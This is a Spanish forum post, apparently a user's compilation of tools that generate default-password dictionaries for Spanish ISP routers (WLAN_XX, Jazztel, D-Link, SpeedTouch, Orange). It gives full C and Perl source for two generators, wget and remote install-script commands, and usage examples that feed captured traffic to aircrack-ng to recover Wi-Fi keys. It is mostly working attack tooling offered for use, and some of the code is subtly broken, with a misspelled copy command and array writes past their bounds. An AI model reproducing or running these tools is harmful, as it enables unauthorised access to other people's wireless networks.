Esto es una recopilacion de los generadores de diccionarios de los routers mas usados (al menos en españa). Los he querido juntar porque hacia bastante que buscaba alguno de estos para ponerlo en mi ubuntu (aunque sirve para cualquiera) y supongo que habra alguien que este igual. Todo el source esta sacado de sus paginas oficiales o de foros donde sus creadores lo publicaron.
Solo he probado el wlandecrypter que son los que mas encuentro por aqui, esta actualizado con los nuevos routers y preparado para routers desconocidos, los otros decrypters funcionan pero no tengo ningun router para ponerlo en practica.

Generadores a instalar:
-wlandecrypter: Generador para routers WLAN_XX de Timofonica -http://code.google.com/p/wlandecrypter/
-jazzteldecrypter: Generador para routers JAZZTEL_XX -seguridadwireless.net
-dlinkdecrypter: Generador para routers DLINK - seguridadwireless.net
-stkeys: Generador para routers SpeedTouchXXXXXX de Thomson - http://foro.seguridadwireless.net/un...l-descubierto/
-decsagem: Generador para routers adslXXXX de Orange - seguridadwireless.net

####################
instalando wlandecrypter

Código:
wget http://wlandecrypter.googlecode.com/files/wlandecrypter-1.2.tar.gz
tar -xzvf wlandecrypter-1.2.tar.gz
cd wlandecrypter-1.2/
cp wlandecrypter /usr/bin/wlandecrypter
ejemplo uso:

- despues de un captura de 4ivs guardado en captura.cap
- creamos el diccionario
Código:
wlandecrypter 00:11:22:33:44:55 WLAN_XX diccionario
-y obtener el pass
Código:
aircrack-ng -w diccionario captura.cap
####################
instalando jazzteldecrypter

con este vamos a necesitar el gcc para compilar el codigo en c
extraido de http://foro.seguridadwireless.net/enlaces-descarga-aplicaciones-wireless-linux/jazzteldecrypter/

pegar codigo en fichero jazzteldecrypter.c
Código:
/*****************************************************************************
* Fichero:			jazzteldecrypter.c
* Fecha:			23-03-2006
* Autor:			Nilp0inteR (nilp0inter2k6[at]gmail[dot]com)
* Actualizado:			2008 buckynet
*
* Descripcion: Generador de diccionario de claves por defecto para los 
* router de Jazztel Comtrend.
*
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu 
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
* 
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*
*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//
// Numero de modelos de routers en la base de datos
//
#define MAXROUTER 12 
#define MAXINDEX 1
#define VERSION 0
#define SUBVERSION 0 

//
// Tipo de dato Router, con toda la informacion
//
typedef struct Router
{
	char bssid[9];
	char init[MAXINDEX][8];
	char notas[30];
} tRouter;

//
// Variables globales
//
char hex[16]="0123456789ABCDEF";

//
// Funciones
//
void initRouters(tRouter routers[MAXROUTER]);
void datosRouters(tRouter routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(tRouter routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd);

//
// MAIN !!!
//
int main(int argc, char *argv[])
{
	int bssidId, i;
	int validHex=0;
	char endKey[2];
	tRouter routers[MAXROUTER];
	FILE *fichero;
	
	if(argc<3 || argc>4)
	{
		muestraAyuda();
		return 1;
	}

	fprintf(stderr, "\njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6\n", VERSION, SUBVERSION);
	
	if(strlen(argv[1])!=17)
	{
		fprintf(stderr," [-] Longitud de BSSID invalida\n");
		return 1;
	}
		
	initRouters(routers);
	datosRouters(routers);


	bssidId=buscaBssid(routers, argv[1]);

	if(bssidId==-1)
	{
		fprintf(stderr, " [-] BSSID no encontrado\n");
		return 1;
	}
	else
	{
		fprintf(stderr, " [+] BSSID: %s\n" 
				" [+] Modelo: %s\n", argv[1], routers[bssidId].notas);

		for(i=0;i<strlen(argv[2]);i++)
			argv[2][i]=toupper(argv[2][i]);

		if(strlen(argv[2]) != 10 || strncmp("JAZZTEL_", argv[2], 8) != 0 )
		{
			fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
			return 1;
		}
		else
		{
			for(i=0;i<strlen(hex);i++)
			{
				if(argv[2][8]==hex[i])
				{
					validHex++;
					break;
				}
			}
			for(i=0;i<strlen(hex);i++)
			{
				if(argv[2][9]==hex[i])
				{
					validHex++;
					break;
				}
			}

			if(validHex!=2)
			{
				fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
				return 1;
			}
			else
			{
				endKey[0]=argv[2][8];
				endKey[1]=argv[2][9];

				fprintf(stderr," [+] ESSID: %s\n", argv[2]);
				
				if(argc>3) // Fichero
				{
					
					fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
					fichero=fopen(argv[3], "a+");
					if(fichero!=NULL)
					{
						imprimeClaves(fichero,routers,bssidId,endKey);
						fclose(fichero);
						fprintf(stderr, " [+] Fichero guardado\n");
					}
					else
					{
						fprintf(stderr," [-] Error al abrir el fichero\n");
						return 1;
					}
				}
				else
				{
					fprintf(stderr," [+] Seleccionada salida estandar\n");
					imprimeClaves(stdout,routers,bssidId,endKey);
				}
			}
		}

	}
		
	return 0;
}	

//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
	int i,j;
	for(j=0;j<MAXROUTER;j++)
	{
		strcpy(routers[j].bssid,"");
		for(i=0;i<5;i++)
			strcpy(routers[j].init[i],"");
		strcpy(routers[j].notas,"");
	}
}

//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{
	int i =0;
	// Comtrend
	strcpy(routers[i].bssid,"00:1A:2B\0");
	strcpy(routers[i].init[0],"E001D20\0");
	strcpy(routers[i].notas,"Comtrend\0");
	i++;
}

//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
	fprintf(stderr, "\njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6\n", VERSION, SUBVERSION);

	fprintf(stderr, "  uso: jazzteldecrypter <bssid> <essid> [output file]\n\n");
}

//
// Busca el bssid en la estructura y devuelve el identificador o
//  -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
	int i;
	
	for(i=0;i<strlen(bssid);i++)
		bssid[i]=toupper(bssid[i]);

	for(i=0;i<MAXROUTER;i++)
	{
		if(strncmp ( routers[i].bssid, bssid, 8 ) == 0)
			return i;
	}
	
	return -1;
}

//
// Imprime las claves en un fichero 
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
	int i,j,k,l,index=0;
	
	while(index<MAXINDEX && strcmp(routers[bssidId].init[index], ""))
	{
	        for(i=0;i<16;i++)
	                for(j=0;j<16;j++)
	                        for(k=0;k<16;k++)
	                                for(l=0;l<16;l++)
	                                {
						fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
	                                }
		index++;
	}

}
compilar y copiar
Código:
gcc jazzteldecrypter.c -o jazzteldecrypter
cp jazzteldecryper /usr/bin
se usa igual que el wlandecrypter
Código:
fikus@portatil:~$ jazzteldecrypter

jazzteldecrypter 0.0 - (c) 2008 nilp0inter2k6
  uso: jazzteldecrypter <bssid> <essid> [output file]
###################
instalar dlinkdecrypter

script en perl extraido de http://foro.seguridadwireless.net/enlaces-descarga-aplicaciones-wireless-linux/dlinkdecrypter-sh/

pegar codigo en fichero dlinkdecrypter.pl
Código:
#!/usr/bin/perl -w

# dlinkdecrypter.pl v0.1
# written by ka0x <ka0x01[alt+64]gmail.com>
# www.domlabs.org

# Basado en el script en bash realizado por hrodgar y Pianista de seguridadwireless.net
# http://www.domlabs.org/files/codes/dlinkdecrypter.sh

my $mac = uc($ARGV[0]);
my $file = $ARGV[1];
die &usage unless $ARGV[1];

sub usage {
	print "\n\t","-=-" x 7,"\n";
	print "\t  DLinkDecrypter.pl\n";
	print "\t   written by ka0x\n";
	print "\t","-=-" x 7,"\n\n";
	print "[*] usage: $0 <BSSID> <output file>\n";
	print "[*] ex: $0 00:19:5B:44:37:87 keys_dlink.txt\n\n";
	exit 1;
}

if(length($mac) != 17){
	die "[-] Longitud de MAC Incorrecta\n" ;
}

my @macb = split(/\:/,$mac) ;
my $p_byte = substr($macb[5],0,1);
my $f_byte = substr($macb[5],1,1);

my $s1 = $p_byte ;
my $s2 = chr(ord( $f_byte )-1);

if($f_byte eq 0){
	$s2 = 'F';
	$s1 = chr(ord( $p_byte )-1);
	$s1 = 9 if($p_byte eq "A");

	if($p_byte eq 0){
		$s1 = 0;
		$s2 = 0;
	}
}
$s2 = 9 if($f_byte eq "A");

print "- Wep key default DLink\n";
print "\n\tOpcion 1: ".$macb[5].$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";
print "\tOpcion 2: ".$s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";
print "\tOpcion 3: ".$s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$s1.$s2.$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";

die "\n[-] El archivo '$file' ya existe.\n" if(-e $file);

open(KEYS, ">>$file") || die $!,"\n";
foreach $f(0..9,A..F){
	foreach $t(0..9,A..F){
		print KEYS $macb[5].$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
		print KEYS $s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
		print KEYS $s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$s1.$s2.$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
	}
}
close(KEYS);
print "\n[+] Archivo de claves '$file', generado.\n";

__END__
lo hacemos ejecutable y copiamos:
Código:
chmod +x dlinkdecrypter.pl
cp dlinkdecrypter.pl /usr/bin/dlinkdecrypter
se usa como el wlandecrypter:
Código:
fikus@portatil:~$ dlinkdecrypter

        -=--=--=--=--=--=--=-
          DLinkDecrypter.pl
           written by ka0x
        -=--=--=--=--=--=--=-
[*] usage: dlinkdecrypter <BSSID> <output file>[*] ex: dlinkdecrypter 00:19:5B:44:37:87 keys_dlink.txt
####################
instalar stkeys

script instalador en bash +info

Código:
wget http://www.wifiway.org/stkeys/install.sh.gz
gzip -d install.sh.gz
chmod +x install.sh
./install.sh
uso:
si el router tuviera de essid "SpeedTouchF8A3D0"
Código:
fikus@portatil:~$ stkeys -i F8A3D0 -v

stkeys compilado para seguridadwireless.net


Generando claves... por favor espera

Número de Serie: CP0615**109 - posible clave = 742DA831D2
Número de Serie: CP0621**AHJ - posible clave = 00651124D9

Resultado: 2 posibles claves.
######################
instalar decsagem

extraido de http://foro.seguridadwireless.net/en...-decsagem-0-1/

Código:
wget http://www.wifiway.org/archivos/decsagem0.1.tar.gz
tar zxvf decsagem0.1.tar.gz
gcc md5.c decsagem.c -o decsagem
cp decsagem /usr/bin
uso:
-si el router tiene de essid "adsl4822"
Código:
fikus@portatil:~$ decsagem 4822

DecSagem v1.0 made by ska1ix

Generando claves...

Las claves estan en el fichero claves.txt
pues espero que le sirva a alguien esta recopilacion, sino vaya perdida de tiempo... suerte que en el paro hay tiempo de sobra

PD:Cualquier error, actualizacion o lo que sea, decidmelo y lo edito